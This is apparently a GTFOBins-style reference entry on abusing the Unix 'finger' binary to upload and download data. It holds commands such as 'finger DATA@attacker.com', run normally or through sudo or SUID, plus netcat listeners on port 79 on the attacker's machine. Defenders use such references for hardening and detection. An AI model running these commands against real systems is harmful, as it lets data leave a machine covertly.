finger

Upload

This executable can upload local data.
  1. CommentThe command hangs waiting for the remote peer to close the socket.
    This function can be performed by any unprivileged user.
    finger DATA@attacker.com
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    finger DATA@attacker.com
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    finger DATA@attacker.com
    ReceiverA TCP server can be used on the attacker box to receive the data.
    nc -l -p 79 >/path/to/output-file

Download

This executable can download remote data.
  1. CommentThe command hangs waiting for the remote peer to close the socket.
    This function can be performed by any unprivileged user.
    finger x@attacker.com
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    finger x@attacker.com
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    finger x@attacker.com
    SenderA TCP server can be used on the attacker box to send the data.
    nc -l -p 79 </path/to/input-file